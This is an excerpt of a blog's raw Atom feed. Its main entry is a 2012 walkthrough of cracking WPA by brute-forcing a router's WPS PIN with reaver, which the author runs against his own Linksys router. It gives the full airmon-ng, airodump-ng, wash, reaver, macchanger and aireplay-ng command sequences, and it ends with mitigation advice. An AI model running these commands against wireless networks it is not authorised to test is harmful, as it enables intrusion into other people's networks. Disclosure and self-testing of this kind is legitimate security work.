src='https://blogger.googleusercontent.com/tracker/8356530514965708840-824687154563459673?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/824687154563459673/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2012/02/wpa-cracking-with-oclhashcat-plus.html#comment-form' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/824687154563459673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/824687154563459673'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2012/02/wpa-cracking-with-oclhashcat-plus.html' title='WPA Cracking with oclHashcat-plus'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-3096247380380379018</id><published>2012-01-18T23:33:00.034+01:00</published><updated>2012-02-05T11:48:08.533+01:00</updated><title type='text'>Cracking WPA using the WPS vulnerability with reaver v1.3</title><content type='html'>REAVER &amp;gt; WPS&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;WPS functionality leaves some routers at risk, even when WPS is 'not configured / disabled'..&lt;/span&gt;&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;br /&gt;I am sure everyone has already seen by now, the WPS function, which is present on nearly&lt;br /&gt;all current routers, has been proven to be vulnerable (&lt;a href="https://docs.google.com/spreadsheet/ccc?key=0Ags-JmeLMFP2dFp2dkhJZGIxTTFkdFpEUDNSSHZEN3c#gid=0"&gt;on some routers&lt;/a&gt;) to a 2 stage bruteforce&lt;br /&gt;attack on the router's 8 digit pin.&lt;br /&gt;An extract from the readme from the author's google code page&lt;br /&gt;&lt;a href="http://code.google.com/p/reaver-wps/wiki/README"&gt;http://code.google.com/p/reaver-wps/wiki/README&lt;/a&gt;&amp;nbsp;;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Reaver performs a brute force attack against the AP, attempting every possible combination in order to guess the AP's 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin &lt;/i&gt;&lt;br /&gt;&lt;i&gt;The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a checksum.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now as soon as I had heard about this tool, I immediately checked to make sure that WPS was not configured on my router.&lt;br /&gt;As I always configure it manually, I was pretty sure WPS was disabled, and as I thought, WPS was not configured.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Router information ; Cisco Linksys E1000 v2.0, Firmware v. 2.0.01&lt;br /&gt;I checked the router settings, made sure WPS was not configured then rebooted router ;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="357" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Little did I know that even though I had chosen to not to use WPS, WPS was &lt;b&gt;&lt;i&gt;&lt;span style="color: red;"&gt;not &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;in fact disabled and the router was still vulnerable, which I&amp;nbsp;found out&amp;nbsp;after seeing it was mentioned to be the case on the &lt;a href="http://www.backtrack-linux.org/forums/showthread.php?t=47038"&gt;BackTrack forums&lt;/a&gt; and checking my own setup lateron ...&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;WTF..&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;In retrospect, the term "&lt;b&gt;&lt;i&gt;Configuration view&lt;/i&gt;&lt;/b&gt;" does not say whether it is, or is not configured/enabled....&lt;br /&gt;Well played &lt;strike&gt;lawyers&lt;/strike&gt;&amp;nbsp;Linksys...&lt;br /&gt;&lt;br /&gt;I could not find any other possibility to alter the WPS settings on the router or any way to disable the PIN.&lt;br /&gt;&lt;i&gt;(There is actually a firmware upgrade for the router; v2.1.02, issued on 25-05-2011, so although the update may &amp;nbsp;prevent&lt;/i&gt;&lt;i&gt;&amp;nbsp;the WPS vulnerability or give more options to REALLY disable WPS, &amp;nbsp;I haven't checked its possibilities as yet).&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fired up BackTrack and specified airodump to focus only on my AP and to capture packets.&lt;br /&gt;&lt;span style="color: lime;"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;airodump-ng mon0 -c 11 -t wpa -d 98:FC:11:8E:0E:9C -a -w wps_test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After just a few packets captured stopped capture and checked in Wireshark to see if any info on WPS..&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="381" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lolwut ?!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Downloaded and installed reaver (as of this date 18-01-2012 reaver v1.3) &lt;br /&gt;&lt;a href="http://code.google.com/p/reaver-wps/"&gt;http://code.google.com/p/reaver-wps/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;tar -xzf reaver-1.3&amp;nbsp;&lt;/div&gt;&lt;div style="color: lime;"&gt;cd reaver-1.3&lt;/div&gt;&lt;div style="color: lime;"&gt;cd src/&lt;/div&gt;&lt;div style="color: lime;"&gt;./configure&lt;/div&gt;&lt;span style="color: lime;"&gt;make &amp;amp;&amp;amp; make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;and used reaver's included &amp;nbsp;'walsh' to check my AP (&lt;b&gt;walsh&lt;/b&gt; was later renamed to &lt;b&gt;wash&lt;/b&gt;) ;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;walsh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="357" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps03.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Testing Walsh ;&lt;br /&gt;&lt;span style="color: lime;"&gt;walsh -i mon0 -c 11 -C -s&lt;/span&gt;&lt;br /&gt;(just a simple &lt;span style="color: lime;"&gt;walsh -i mon0&lt;/span&gt; worked fine for me as well by the way, just limiting results with the above)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="204" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Damn..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OK, so decided to see whether it actually was still vulnerable and so started&amp;nbsp;reaver and let it do its thing.&lt;br /&gt;&lt;br /&gt;I got many warnings that 10 attempts failed in a row, receive timeout issues etc, so I basically did a few&lt;br /&gt;hours 3 days in a row, reaver saves the previous session in any case, so you can do it as and&lt;br /&gt;when you please..&lt;br /&gt;Tested on a Samsung N110, Atheros chipset, ath5k drivers for the wireless.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;reaver -i mon0 -f -c 11 -b&amp;nbsp;98:FC:11:8E:0E:9C -vv -x 60&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps06.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anyway, the final outcome.. BAH !&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wps05.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;damn.. hacked.. !&lt;br /&gt;And here I was thinking I was nice and cosy in my "secure WPA2" world..&lt;br /&gt;The time used as mentioned above is not completely accurate as I had split the crack over 3 days with&lt;br /&gt;a few hours at a time, would imagine that in total it took between 10 - 12 hours in my case, possibly a couple of hours more.&lt;br /&gt;&lt;br /&gt;I had better results (less errors) when using a wireless adapter with REALTEK RTL8187L chipset with&lt;br /&gt;the rtl8187 driver.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, what to do ?&lt;br /&gt;Well, in my case, I bought a different/better router the day after I figured out that my router was still vulnerable.. screw it.. otherwise I was going to stay feeling uncertain ;)&lt;br /&gt;&lt;br /&gt;Other cheaper options ;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/span&gt; Check for firmware updates, possibly a revised firmware is available to counter the vulnerability.&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/span&gt; Use 3rd party firmware (if supported) such as the likes of Open WRT or DD-WRT.&lt;br /&gt;&amp;nbsp; &amp;nbsp;(DD-WRT for instance does not support WPS and is therefore not vulnerable to the reaver attack)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Edit 22-01-2012&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;--------&lt;br /&gt;My previous remarks on MAC spoofing being an issue were incorrect.&lt;br /&gt;RTFM TAPE .. :|&lt;br /&gt;&lt;a href="http://code.google.com/p/reaver-wps/wiki/FAQ"&gt;http://code.google.com/p/reaver-wps/wiki/FAQ&lt;/a&gt;&lt;br /&gt;&amp;nbsp;The way reaver works with mac spoofing is to ensure that the Physical interface also&amp;nbsp;has the mac spoofed.&lt;br /&gt;&lt;br /&gt;Depends on your setup, however in my case&lt;br /&gt;&amp;gt; wlan0 physical interface.&lt;br /&gt;&amp;gt; mac address 00:11:22:33:44:55 as the mac address to be spoofed.&lt;br /&gt;&lt;span style="color: lime;"&gt;ifconfig wlan0 down&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;macchanger -m 00:11:22:33:44:55 wlan0&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;monitor mode then enabled on the created mon0 interface&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;ifconfig mon0 down&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;macchanger -m 00:11:22:33:44:55 mon0&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;ifconfig wlan0 up&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="color: lime;"&gt;ifconfig mon0 up&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;br /&gt;Then start up the reaver attack and it should all run as intended. &lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Edit 28-01-2012&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;--------&lt;br /&gt;I have been having issues with the latest version of reaver; v1.4, with it failing to associate&lt;br /&gt;whereas v1.3 associated fine.&lt;br /&gt;Apparently there are others also having issues when running it on BT5, some also seem&lt;br /&gt;to report that an apt-get update &amp;amp;&amp;amp; apt-get upgrade on the BT5 system is what caused&lt;br /&gt;the problems for them.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/reaver-wps/issues/detail?id=172"&gt;http://code.google.com/p/reaver-wps/issues/detail?id=172&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;For the time being the author of reaver simply advises to stick with Ubuntu v10.4 which is&lt;br /&gt;his&amp;nbsp;testing platform.&lt;br /&gt;&lt;br /&gt;So if you having trouble with reaver v1.4, perhaps try the previous version; reaver v1.3.&lt;/div&gt;&lt;div&gt;&lt;a href="http://code.google.com/p/reaver-wps/downloads/list"&gt;http://code.google.com/p/reaver-wps/downloads/list&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Would appreciate anyone's feedback on their experiences with v1.4 if there are any.&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;i&gt;Update 04-02-2012&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;Well I have made some progress with reaver v1.4, the below done on a VMware BT5R1 image.&lt;br /&gt;&lt;br /&gt;Installed reaver v1.4 from the BT repositories ;&lt;br /&gt;&lt;span style="color: lime;"&gt;apt-get update&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;apt-get install reaver&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;reaver v1.4 includes the new wash (formerly walsh)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;wash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="422" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Carried out a quick scan with wash to get the details of my (now committed to the shelf of shame..) router.&lt;br /&gt;Using a wireless adapter with &lt;i&gt;Realtek RTL8187L chipset&lt;/i&gt; with&lt;i&gt; rtl8187&lt;/i&gt; driver in this case.&lt;br /&gt;Started the wireless interface on the channel of my AP (Channel 11)&lt;br /&gt;(as was having issues with aireplay-ng when I had not specified the channel that should be used)&lt;br /&gt;&lt;span style="color: lime;"&gt;airmon-ng start wlan0 11&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;wash -i mon0 -C&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="422" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now previously I was having trouble getting reaver v1.4 to associate to my router for some reason, so&lt;br /&gt;I decided to try to associate with another application, and then use the -A switch in reaver so as to not&lt;br /&gt;have reaver itself associate.&lt;br /&gt;&lt;br /&gt;So started aireplay-ng with fake association options.&lt;br /&gt;I found that having a longer delay resulted in a better&amp;nbsp;performance with reaver, but you will have to play around to see what works best for your setup.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;aireplay-ng mon0 -1 120 -b 98:FC:11:8E:0E:9C -e FUBAR&lt;/span&gt;&lt;br /&gt;( I believe I possibly should have used the -a switch instead of the -b switch for the AP MAC, I always get confused with what to use when with aireplay-ng .. ah well, with the essid specified it worked anyway ;) )&lt;br /&gt;correct syntax ;&lt;br /&gt;&lt;span style="color: lime;"&gt;aireplay-ng mon0 -1 120 -a 98:FC:11:8E:0E:9C -e FUBAR&lt;/span&gt; &lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="402" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver05.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then fired up reaver v1.4 ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;reaver&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="518" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver03.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and started reaver v1.4 with the -A switch, to not have reaver associate with the router itself, in a separate terminal window ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;reaver -i mon0 -A -b&amp;nbsp;98:FC:11:8E:0E:9C -v&lt;/span&gt;&lt;br /&gt;( there is a lot more output &amp;nbsp;with reaver v1.4, wherefor only the single -v )&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="402" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The result ;&lt;br /&gt;A continuous stream of 2 seconds per pin attempt, which is much better than previously encountered&lt;br /&gt;with v1.3 to be honest.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="402" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/reaver06.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, at least there is a work around, however still strange that reaver v1.4 won't work 'out of the box'&lt;br /&gt;for me on BT.. Oh well, maybe v1.5 will be released to straighten things out ;)&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;This type of attack &amp;nbsp;is a real problem for many people and it would be more than foolish not to check your routers asap.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So .. check your routers asap !&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-3096247380380379018?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/3096247380380379018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2012/01/cracking-wpa-using-wps-vulnerability.html#comment-form' title='26 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3096247380380379018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3096247380380379018'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2012/01/cracking-wpa-using-wps-vulnerability.html' title='Cracking WPA using the WPS vulnerability with reaver v1.3'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>26</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-6608357094997566116</id><published>2011-07-24T23:02:00.183+02:00</published><updated>2012-02-09T08:07:34.539+01:00</updated><title type='text'>Wordlist manipulation revisited</title><content type='html'>&lt;div style="color: red;"&gt;&lt;b&gt;Work In Progress !&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;Update 18-12-2011&lt;/b&gt;&lt;br /&gt;&lt;b&gt;-------------------------&lt;/b&gt;&lt;br /&gt;&lt;b&gt;I have updated WLM to v0.3, many updates and improvements, but main ones ;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Updated split options to also accept size (in MB only) input.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Included removal/deletion options&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Included an updated and improved datelist script for creating wordlists based on dates.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Included SSIDstrip to create wordlists from Kismet generated .nettxt files.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;gt; Tidied it up, made the scripts more 'uniform'.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;DOWNLOAD;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;edit 19-12-2011 17:00 &amp;nbsp;;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;there was an error in the suffixing of numeric values&lt;/b&gt;&lt;br /&gt;&lt;b&gt;on version uploaded earlier today (19-12-2011)&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Latest and greatest and hopefully without errors ;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.mediafire.com/file/4zbivw8ih21jzg4/wlm_v0-3"&gt;http://www.mediafire.com/file/4zbivw8ih21jzg4/wlm_v0-3&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Feedback appreciated !&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wlm_v0-3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="384" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/wlm_v0-3.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Update 18-10-2011&lt;/b&gt;&lt;br /&gt;---------------------&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/U-usCP0jYu4" width="420"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;--------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;INTRO&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;After my posts from just over 2 years ago (wow... thought I would have learned more by now .. )&lt;br /&gt;I thought it would be a good idea to have another, more detailed post on wordlist manipulations based on 'simple' one-liners or simple scripts (sometimes 1 line just doesn't cut it) which can be run over the 